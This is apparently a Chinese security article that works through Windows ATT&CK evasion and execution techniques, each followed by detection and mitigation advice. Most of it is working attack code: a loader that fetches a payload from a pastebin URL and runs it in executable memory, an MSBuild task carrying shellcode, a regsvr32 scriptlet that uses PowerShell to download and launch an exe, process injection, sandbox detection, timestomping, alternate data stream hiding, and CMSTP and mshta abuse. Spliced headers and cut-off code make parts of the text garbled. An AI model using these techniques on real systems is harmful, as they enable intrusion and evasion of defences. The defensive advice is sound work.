一、前言
基于MITRE ATT?xml version="1.0"?> ?xml-stylesheet type="text/xsl" href="test.xsl" ?> customers> customer> name>Microsoft Windows /name> /customer> /customers>
Script.xsl 文件内容如下:
?xml version='1.0'?> xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) { var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe"); return nodelist.nextNode().xml; } /msxsl:script> xsl:template match="/"> xsl:value-of select="user:xml(.)"/> /xsl:template> /xsl:stylesheet>
运行效果图
通过CMD进程使用通过命令行进行带参数的命令执行msxsl.exe,test.xsl中的JavaScript会得以执行,该代码执行的宿主程序是msxsl.exe,最后计算器得以执行.
检查及限制方案
通过进程来监视msxsl.exe的执行及其参数,将该程序最近的调用与历史中已知的良好的调用进行比较,已确定异常和潜在的对抗活动。例如:URL命令行参数、外部网络连接的创建、与脚本关联的动态链接库加载等等事件。
由于msxsl并不是系统默认附带的,所以如果计算机中意外出现该程序,需要进一步查询该文件的作用及来历。
参考链接
XML 教程:https://www.w3school.com.cn/xml/index.asp
XSLT教程: https://www.w3school.com.cn/xsl/index.asp
ATT int decode_len = 0; BYTE pAllData[4096] = {0}; BYTE pDecodeData[4096] = {0}; BYTE* pMessageBody = NULL; BYTE* pCode = NULL; HANDLE hNewThread = NULL; LPCTSTR lpszServerName = L"www.pastebin.com"; //欲访问的服务器 LPCTSTR lpszObjectName = L"/raw/LXrbf7PW"; //欲访问的页面 INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT; // HTTPS端口443 LPCTSTR lpszAgent = L"WinInetGet/0.1"; HINTERNET hInternet = InternetOpen( lpszAgent,INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); LPCTSTR lpszUserName = NULL; LPCTSTR lpszPassword = NULL; DWORD dwConnectFlags = 0; DWORD dwConnectContext = 0; HINTERNET hConnect = InternetConnect(hInternet,lpszServerName, nServerPort,lpszUserName, lpszPassword,INTERNET_SERVICE_HTTP,dwConnectFlags, dwConnectContext); LPCTSTR lpszVerb = L"GET"; LPCTSTR lpszVersion = NULL; LPCTSTR lpszReferrer = NULL; LPCTSTR *lplpszAcceptTypes = NULL; DWORD dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD; DWORD dwOpenRequestContext = 0; HINTERNET hRequest = HttpOpenRequest( hConnect, lpszVerb, lpszObjectName, lpszVersion, lpszReferrer, lplpszAcceptTypes,dwOpenRequestFlags, dwOpenRequestContext); BOOL bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0); if (!bResult) { fprintf(stderr, "HttpSendRequest failed, error = %d (0x%x)\n",GetLastError(), GetLastError()); goto SAFE_EXIT; } DWORD dwInfoLevel = HTTP_QUERY_RAW_HEADERS_CRLF; DWORD dwInfoBufferLength = 2048; BYTE *pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength+2); while (!HttpQueryInfo(hRequest, dwInfoLevel, pInfoBuffer, if (dwError == ERROR_INSUFFICIENT_BUFFER) { free(pInfoBuffer); pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength + 2); } else { fprintf(stderr, "HttpQueryInfo failed, error = %d (0x%x)\n", GetLastError(), GetLastError()); break; } } pInfoBuffer[dwInfoBufferLength] = '\0'; pInfoBuffer[dwInfoBufferLength + 1] = '\0'; //printf("%S", pInfoBuffer); free(pInfoBuffer); DWORD dwBytesAvailable; //读取raw数据 while (InternetQueryDataAvailable(hRequest, DWORD dwBytesRead; BOOL bResult = InternetReadFile(hRequest, pMessageBody, dwBytesAvailable, if (!bResult) { fprintf(stderr, "InternetReadFile failed, error = %d (0x%x)\n", GetLastError(), GetLastError()); goto SAFE_EXIT; } if (dwBytesRead == 0) { break; } pMessageBody[dwBytesRead] = '\0'; strcat((char*)pAllData, (char*)pMessageBody); free(pMessageBody); } printf((char*)pAllData); //base64 解码, 跳过开头的forTEST{} if(base64_decode((char*)pAllData + 8, strlen((char*)pAllData) - 9, (char*)pDecodeData, 4096)) { goto SAFE_EXIT; } decode_len = strlen((char*)pDecodeData); //进一步将字符串转为16进制值 pCode = (BYTE*)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pCode == NULL) { goto SAFE_EXIT; } for (int i = 0; i (decode_len/2); i++) { char t[3] = {0}; t[0] = pDecodeData[i * 2 + 0]; t[1] = pDecodeData[i * 2 + 1]; pCode[i] = (unsigned char)strtoul(t, NULL, 16); } //创建线程执行下载的代码 hNewThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pCode, NULL, NULL, NULL); WaitForSingleObject(hNewThread, INFINITE); ret = true; SAFE_EXIT: if (pMessageBody != NULL) { free(pMessageBody); pMessageBody = NULL; } if (pCode != NULL) { VirtualFree(pCode, 0,MEM_RELEASE); } return ret; } int _tmain(int argc, _TCHAR* argv[]) { read_webpage(); return 0; }
最后执行情况如下:
检查和缓解方案
检测方法:
1、分析网络数据中不常见的数据流(例如,客户端发送的数据明显多于从服务器接收的数据),用户行为监视可能有助于检测异常活动模式。另外通讯频率也是至关重要的考量单位,单位时间内高频率的Web访问需要重点关注其具体行为。
2、分析数据包内容以检测未遵循所使用端口的预期协议行为的通信。
缓解方案:
1、使用网络签名识别特定攻击者恶意程序的流量,通过网络入侵检测和网络访问限制防御系统缓解网络级别的恶意活动。
2、使用Web代理实施外部网络通讯策略,以防止使用未经授权的外部网络访问服务。
参考链接
1、Att DWORD cb = 0; DWORD need_read_cb; DWORD data_avail; HANDLE new_process; STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE read_pipe_handle, write_pipe_handle; SECURITY_ATTRIBUTES sa_attr; BYTE read_buffer[0x1000]; sa_attr.nLength = sizeof(SECURITY_ATTRIBUTES); sa_attr.bInheritHandle = TRUE; sa_attr.lpSecurityDescriptor = NULL; if(!CreatePipe( } memset( memset( GetStartupInfo( si.cb = sizeof(si); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdOutput = write_pipe_handle; si.hStdError = write_pipe_handle; if (!CreateProcess(_TEXT("c:\\windows\\system32\\cmd.exe"), _TEXT("\/c wmic bios get serialnumber"), NULL, NULL, TRUE, NULL, NULL, NULL, } WaitForSingleObject(pi.hProcess, INFINITE); do { if (!PeekNamedPipe(read_pipe_handle, NULL, NULL, = 0) { break; } if (!ReadFile(read_pipe_handle, read_buffer,data_avail, } //读取的 read_buffer 可能为unicode 编码!!! if(strstr((char*)read_buffer, ("VMware")) != NULL) { ret = true; break; } } while (true); Error_Exit: if(read_pipe_handle != NULL) { CloseHandle(read_pipe_handle); read_pipe_handle = NULL; } if(write_pipe_handle != NULL) { CloseHandle(write_pipe_handle); write_pipe_handle = NULL; } if(pi.hProcess != NULL) { CloseHandle(pi.hProcess); } if (pi.hThread != NULL) { CloseHandle(pi.hThread); } return ret; }
搜索系统中的进程名称,通过检查是否正在运行有流行虚拟机的特有进程,来检查是否运行在虚拟机中
虚拟机为了实现某些功能,通常需要在虚拟的系统中安装一些程序,通过这些程序配合宿主机中安装的程序来完成,如下图所示的vmtoolsd进程,即为VMware实现拖拽功能所须安装的程序,通常情况下,虚拟机都会安装该程序以实现真机和虚拟机的无缝拖拽功能。
/* 搜索系统中的进程名称,通过检查流行虚拟机的特有进程,来检查是否运行在虚拟机中 */ bool checkvm_by_process() { bool ret = false; HANDLE process_snap; PROCESSENTRY32 pe32; process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (process_snap == INVALID_HANDLE_VALUE) { goto Error_Exit; } pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(process_snap, } do { if ((lstrcmp(pe32.szExeFile, _TEXT("vmtoolsd.exe")) == 0) || (lstrcmp(pe32.szExeFile, _TEXT("vmwaretrat.exe")) == 0)|| (lstrcmp(pe32.szExeFile, _TEXT("vmwareuser.exe")) == 0)|| (lstrcmp(pe32.szExeFile, _TEXT("vmacthlp.exe")) == 0)|| (lstrcmp(pe32.szExeFile, _TEXT("vboxservice.exe")) == 0)|| (lstrcmp(pe32.szExeFile, _TEXT("vboxtray.exe")) == 0)) { ret = true; break; } } while (Process32Next(process_snap, Error_Exit: if (process_snap != INVALID_HANDLE_VALUE) { CloseHandle(process_snap); process_snap = INVALID_HANDLE_VALUE; } return ret; }
检查及限制方案
一般而言,虚拟机及沙箱的检测无法通过预防性控制进行环境,因为它基于滥用系统功能
参考链接
ATTProject ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> !-- This inline task executes shellcode. --> !-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj --> !-- Save This File And Execute The Above Command --> !-- Author: Casey Smith, Twitter: @subTee --> !-- License: BSD 3-Clause --> Target Name="Hello"> ClassExample /> /Target> UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > Task> Code Type="Class" Language="cs"> ![CDATA[ using System; using System.Runtime.InteropServices; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class ClassExample : Task, ITask { private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); public override bool Execute() { byte[] shellcode = new byte[304]{ 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8D, 0x45, 0xEC, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x33, 0xDB, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x50, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8, 0x74, 0x6F, 0x70, 0x73, 0x66, 0xC7, 0x45, 0xFC, 0x65, 0x63, 0x88, 0x5D, 0xFE, 0xE8, 0x1A, 0x00, 0x00, 0x00, 0xFF, 0xD0, 0x53, 0x8D, 0x45, 0xF8, 0xB9, 0x45, 0x83, 0x56, 0x07, 0x50, 0x50, 0x53, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xFF, 0xD0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return true; } } ]]> /Code> /Task> /UsingTask> /Project>
该XML文件中包含的C#代码,采用了VirtualAlloc()申请内存空间,并将Shellcode拷贝到该地址,最后调用CreateThread()创建线程开始执行,并等待shellcode执行完毕后退出。其中Shellcode由VS编译生成的可执行文件提取而来,运行后弹出提示框。如下图所示:
使用CMD执行”MSBuild execute shellcode.xml” 指定的shellcode 便执行起来
检查及限制方案
使用进程监视工具来监视MSBuild.exe,dnx.exe,rcsi.exe,WinDbg.exe,cdb.exe和tracker.exe的执行和参数, 将这些二进制文件的最近调用与已知良好参数的调用进行比较,已确定异常活动和潜在的对抗活动。这些实用程序很可能会被软件开发人员使用或用于其他与软件开发相关的任务,因此,如果该程序存在并在该用途之外进行使用,则该事件可能是可疑的。对调用实用程序之前和之后使用的命令参数进行分析, 也可能对确定该可执行文件的来源和目的有帮助。
参考链接
Attck:https://attack.mitre.org/techniques/T1127/
MSBuild:https://docs.microsoft.com/zh-cn/visualstudio/msbuild/msbuild?view=vs-2019
Use MSBuild To Do More:https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
5、时间戳伪装
原理及代码介绍
系统中的每一个文件,都有着与时间有关的属性,如文件创建时间、最后一次修改时间及文件最后一次的访问时间等属性。为了使某些文件看起来更像是原本就存在于文件夹中,而不是后来新加入的,恶意软件通常会修改文件的时间戳,对于某些取证工具或者分析人员而言,经过调整文件时间与大部分已有文件一致,使得文件不会显得那么明显,从而能够逃避部分主机取证分析。
Att TCHAR sysdir[MAX_PATH]; TCHAR kernel32_path[MAX_PATH]; HANDLE kernel32_handle = INVALID_HANDLE_VALUE; HANDLE targetfile_handle = INVALID_HANDLE_VALUE; FILETIME create_time; FILETIME lastaccess_time; FILETIME lastwrite_time; //获取kernel32.dll模块的文件时间 GetSystemDirectory(sysdir, MAX_PATH); wsprintf(kernel32_path, _TEXT("%s%s"), sysdir, _TEXT("\\kernel32.dll")); kernel32_handle = CreateFile(kernel32_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (kernel32_handle == INVALID_HANDLE_VALUE) { goto Error_Exit; } if(!GetFileTime(kernel32_handle, } //重置目标文件的文件时间 targetfile_handle = CreateFile(file_path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (targetfile_handle == INVALID_HANDLE_VALUE) { goto Error_Exit; } if (!SetFileTime(targetfile_handle, } ret = true; Error_Exit: if (targetfile_handle != INVALID_HANDLE_VALUE) { CloseHandle(targetfile_handle); } if (kernel32_handle != INVALID_HANDLE_VALUE) { CloseHandle(kernel32_handle); } return ret; } int _tmain(int argc, _TCHAR* argv[]) { change_time_usekernel32(_TEXT("test.txt")); return 0; }
Kernel32的时间戳如下:
修改前后的文件时间如下:
如果将恶意文件放在系统目录,并伪装成Kernel32的时间戳,对于部分人工分析取证手段会具有一定迷惑性。
检查及限制方案
1、 可以使用文件修改监视工具来监视文件的时间戳更改情况,并记录日志以便后续进行分析和筛查。
2、 这种攻击技术无法通过预防性控制来缓解,因为它基于滥用系统功能。
参考链接
AttPID> /INJECTRUNNING PATH DLL>
Odbcconf文件
Odbcconf.exe是Windows系统默认自带的工具程序,可以用于配置开放式数据库(OBDC)驱动程序和数据源名称。使用odbcconf工具可以加载DLL并执行,其命令行参数如下:
odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}
检查及限制方案
1、 监视可能用于代理恶意代码执行的已签名二进制文件的进程和命令行参数,例如msiexec.exe从网上下载MSI文件并执行,可能表明存在异常。将各种活动与其他可疑行为相关联,以减少可能由于用户和管理员的良性使用而导致的误报。
2、 如用户环境中更需要使用这些二进制文件,可以将它们的执行限制在需要使用它们的特权账户或者租中,以减少被恶意滥用的机会。
参考链接
Att?XML version="1.0"?> scriptlet> registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}" > script language="JScript"> ![CDATA[ var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> /script> /registration> /scriptlet>
前面介绍过了还可以引用网络脚本并解析执行,将其中的JS代码改为如下,通过JS启动powershell,传递命令下载并执行程序.
?XML version="1.0"?> scriptlet> registration progid="DownAndExec" classid="{A1112231-0000-0000-3000-000DA00DABFC}" > script language="JScript"> ![CDATA[ var ws = new ActiveXObject("WScript.Shell"); var ps = "powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command "; var dn = "$down = New-Object System.Net.WebClient;\ $url = 'http://192.168.xx.xx/baidu.exe';\ $file = '%TMP%\\baidu.exe';$down.DownloadFile($url,$file);\ $exec = New-Object -com shell.application;$exec.shellexecute($file);\ exit;"; ws.Exec(ps + dn); ]]> /script> /registration> /scriptlet>
传递如下的命令,在本地搭建http服务,尝试通过网络下载该脚本并执行
regsvr32.exe /s /i:http://192.168.xx.xx/download.txt scrobj.dll
最后成功下载并执行该脚本,并进一步下载并执行baidu.exe,该程序即为Dbgview
检查及限制方案
使用进程监视工具监视regsvr32的执行和参数,将regsvr32的最近调用与已知良好参数和加载文件的记录进行比较,已确定是否存在异常和潜在的对抗活动。
参考链接
1、 Att bool inject_to_notepad() { bool ret = false; PBYTE sc; DWORD cb; HANDLE nthd; STARTUPINFO si; PROCESS_INFORMATION pi; memset( memset( sc = NULL; si.cb = sizeof(si); if(!CreateProcess(_TEXT("c:\\windows\\system32\\notepad.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, }; sc = (PBYTE)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (sc == NULL) { goto SAFE_EXIT; } if (!WriteProcessMemory(pi.hProcess, sc, data, sizeof(data)/sizeof(char), } nthd = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)sc, NULL, NULL, NULL); if (nthd == NULL) { goto SAFE_EXIT; } WaitForSingleObject(nthd, INFINITE); ret = true; SAFE_EXIT: if (sc != NULL) { VirtualFreeEx(pi.hProcess, sc, 0, MEM_RELEASE); } if (pi.hProcess != NULL) { TerminateProcess(pi.hProcess, 0); CloseHandle(pi.hProcess); } return ret; } int _tmain(int argc, _TCHAR* argv[]) { inject_to_notepad(); return 0; }
执行后情况如下:
通过Process Hacker检查一下记事本的线程,发现我们远程创建的线程已经执行,执行了MessageBox()函数
检查及限制方案
检查方法:
1、 通常为完成进程注入都需要执行一系列操作,放在程序中体现便是需要调用一系列相关API,在Windows系统中可以通过监控程序调用的API序列确定是否有进程注入相关操作。如CreateRemoteThread,SuspendThread / SetThreadContext / ResumeThread,QueueUserAPC / NtQueueApcThread之类的API调用可用于修改另一个进程内的内存(如WriteProcessMemory)的API调用。
2、 在Linux系统中监视特定的调用,如(例如ptrace系统调用,LD_PRELOAD环境变量的使用或dlfcn动态链接API调用),由于其专门的性质,不应生成大量数据,并且可以是检测过程注入的有效方法。
3、 监视进程和命令行参数以了解在代码注入发生之前或之后可以执行的操作,并将信息与相关事件信息相关联。还可以使用PowerShell和诸如PowerSploit 之类的工具执行代码注入,因此可能需要其他PowerShell监视才能涵盖此行为的已知实现。
缓解方案:
进程注入属于滥用系统功能导致的安全问题
1、 终端行为防御:可以安装HIPS软件,监测注入过程中调用的常见API序列,来识别并阻止某些类型的进程注入操作。
2、 特权账户管理:针对Linux内核系统,通过仅限制特权用户使用ptrace来利用Yama减轻基于ptrace的进程注入。其他缓解措施包括部署安全内核模块,这些模块提供高级访问控制和流程限制,例如SELinux,grsecurity和AppAmour。
参考链接
1、 Att载体文件路径>:ADS名称>
如使用echo命令创建并写入数据到ADS中:
echo for test > sc.dat:stream
可见的是,文件大小为0。使用stream.exe可以看到存在一个名为stream的交换流
攻击者可能会将恶意数据或者二进制文件存储在文件的备用流(ADS)中,而不是直接存储在文件中,这种技术可用于文件隐藏、防病毒软件静态扫描、主机取证分析等安全手段的绕过。
如下的代码演示在ADS中隐藏完整的文件及存取等操作。
bool set_ads(TCHAR* host_file,TCHAR* payload_filepath) { bool ret = false; BYTE read_buf[0x1000]; DWORD read_cb, write_cb; TCHAR finalpath_buf[MAX_PATH * 2]; HANDLE final_handle = INVALID_HANDLE_VALUE; HANDLE payload_handle = INVALID_HANDLE_VALUE; wsprintf(finalpath_buf, _TEXT("%s:stream_name"), host_file); final_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (final_handle == INVALID_HANDLE_VALUE) { goto SAFE_EXIT; } payload_handle = CreateFile(payload_filepath, FILE_READ_ACCESS, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (payload_handle == INVALID_HANDLE_VALUE) { goto SAFE_EXIT; } do { if (!ReadFile(payload_handle, read_buf, 0x1000, } if (!WriteFile(final_handle, read_buf, read_cb, } if (read_cb != 0x1000) { break; } } while (true); ret = true; SAFE_EXIT: if (final_handle != INVALID_HANDLE_VALUE) { CloseHandle(final_handle); } if (payload_handle != INVALID_HANDLE_VALUE) { CloseHandle(payload_handle); } return ret; } bool read_ads(TCHAR* host_path, TCHAR* stream_name, TCHAR* save_path) { bool ret = false; BYTE read_buf[0x1000]; DWORD read_cb, write_cb; TCHAR finalpath_buf[MAX_PATH * 2]; HANDLE stream_handle = INVALID_HANDLE_VALUE; HANDLE save_handle = INVALID_HANDLE_VALUE; wsprintf(finalpath_buf, _TEXT("%s:%s"), host_path, stream_name); stream_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (stream_handle == INVALID_HANDLE_VALUE) { goto SAFE_EXIT; } save_handle = CreateFile(save_path, FILE_WRITE_ACCESS, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (save_handle == INVALID_HANDLE_VALUE) { goto SAFE_EXIT; } do { if (!ReadFile(stream_handle, read_buf, 0x1000, } if (!WriteFile(save_handle, read_buf, read_cb, } if (read_cb != 0x1000) { break; } } while (true); ret = true; SAFE_EXIT: if (stream_handle != INVALID_HANDLE_VALUE) { CloseHandle(stream_handle); } if (save_handle != INVALID_HANDLE_VALUE) { CloseHandle(save_handle); } return ret; } int _tmain(int argc, _TCHAR* argv[]) { if(set_ads(_TEXT("c:\\windows\\tasks\\sc.dat"), _TEXT("help.txt"))) { _tprintf(_TEXT("set fail!!!\r\n")); } if(read_ads(_TEXT("c:\\windows\\tasks\\sc.dat"),_TEXT("stream_name"), _TEXT("help_fromads.txt"))) { _tprintf(_TEXT("read fail!!!\r\n")); } return 0; }
检查及限制方案
1、通过dir /r命令可以显示目录中含有ADS的文件,在找到不合法的交换流后删除掉即可。
2、通过Sysinternals提供的Streams工具来查询文件是否具有ADS,同时可以用该工具删除
3、使用Powershell命令来与ADS交换和操作,如Get-Item,Set-Item,Remove-Item和Get-ChildItem .
参考链接
1: Attscript language = “vbscript” src=”http://127.0.0.1/test.vbs”> code /script>”
在本地搭建http服务器将test.vbs加载进去
执行CMD命令启动mshta
2、 mshta执行hta脚本文件
构建如下的HTA脚本,其中引用外部的脚本文件
执行情况如下
检查及限制方案
检查方法:
1、使用进程监视工具来监视mshta.exe的执行和参数。
2、在命令行中寻找执行原始脚本或混淆脚本的mshta.exe。
3、将mshta.exe的最近调用与已知良好参数的历史执行记录进行对比,已确定异常和潜在的对抗活动。
缓解方案:
1、如果在特定环境中mshta.exe不是必须的, 可以考虑删除或者禁用该组件。
2、修改系统配置或者杀软配置,阻止mshta.exe的执行,或者将该文件移除出应用程序白名单,以防止被潜在的攻击者滥用行为。
参考链接
1、 Att } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("cmd", SW_SHOW); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
编译成功后,将dll后缀名改成cpl,并修改注册表项
HKEY hKey; DWORD dwDisposition; char path [] = "C:\\testcpl”; RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, RegSetValueExA(hKey, “testcpl.cpl”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))));
在控制面板被阻止打开的情况下,可以使用以下位置作为启动控制面板的替代方法。
· C:windowssystem32control.exe · AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk · shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0} · shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} · shell:::{ED7BA470-8E54-465E-825C-99712043E01C} · My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}
运行效果图
当运行控制面板时,cmd.exe自动启动。
检查及限制方案
监视和分析与CPL文件关联的项的活动,查找系统上未注册和潜在恶意文件。
将控制面板项的存储和执行限制在受保护目录上,例如C:\Windows
参考链接
https://attack.mitre.org/techniques/T1196/
13、CMSTP配置文件参数利用
原理及代码介绍
CMSTP.exe是用于安装Connection Manager服务配置文件的命令行程序。程序接受INF配置文件作为参数。这项攻击手段的关键点就在于配置文件。攻击者可能会向CMSTP.exe提供受恶意命令感染的INF文件,以脚本(SCT)和DLL的形式执行任意代码。它是一个受信任的Microsoft二进制文件,位于以下两个Windows目录中:
C:\Windows\System32\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
AppLocker默认规则允许在这些文件夹中执行二进制文件,因此我们可以用它来作为bypass的一种方法。使用这个二进制文件可以绕过AppLocker和UAC。因为传输的并不是二进制文件,所以也会绕过一些杀软的白名单。
配置文件可以通过安装启动CMAK(Connection Manager Administration Kit)来创建,关于CMAK可以通过Microsoft文档?redirectedfrom=MSDN)进行了解。在这里就不具体演示获得INF文件的过程了,可以通过以下链接获得: INF文件。
INF文件的内容有很多项,我们想要利用INF文件,只需要保留一些重要的项,以下是简化的INF文件内容
[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] RegisterOCXs=RegisterOCXSection [RegisterOCXSection] C:\test.dll [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Pentestlab" ShortSvcName="Pentestlab"
需要注意到的是INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。
从WebDAV服务器实现加载dll需要修改下面内容:
[RegisterOCXSection] \10.10.10.10webdavAllTheThings.dll
命令行:cmstp.exe /s c:\cmstp.inf
当然,还可以将RegisterOCXSection 换成RunPreSetupCommandsSection,在此项下可以直接执行命令程序,例如:
[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] RegisterOCXs=RegisterOCXSection RunPreSetupCommands=RunPreSetupCommandsSection [RunPreSetupCommandsSection] c:\windows\system32\calc.exe taskkill /IM cmstp.exe /F [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="CorpVPN" ShortSvcName="CorpVPN"
运行效果图
如下图所示,在命令行中执行cmstp 并加入相关参数cmstpdll.inf ,我们预设的dll 就运行在了cmstp进程中,此处或许可能被恶意代码所利用,用以逃避杀软白名单检测及进程检测等
执行命令,弹出计算器:
检查及限制方案
1.使用进程监视来检测和分析CMSTP.exe的执行和参数。将最近对CMSTP.exe的调用与已知的参数和已加载文件的历史进行比较,以确定异常和潜在的对抗性活动。
2. Sysmon事件也可以用来识别CMSTP.exe的潜在威胁。
参考链接
https://attack.mitre.org/techniques/T1191/
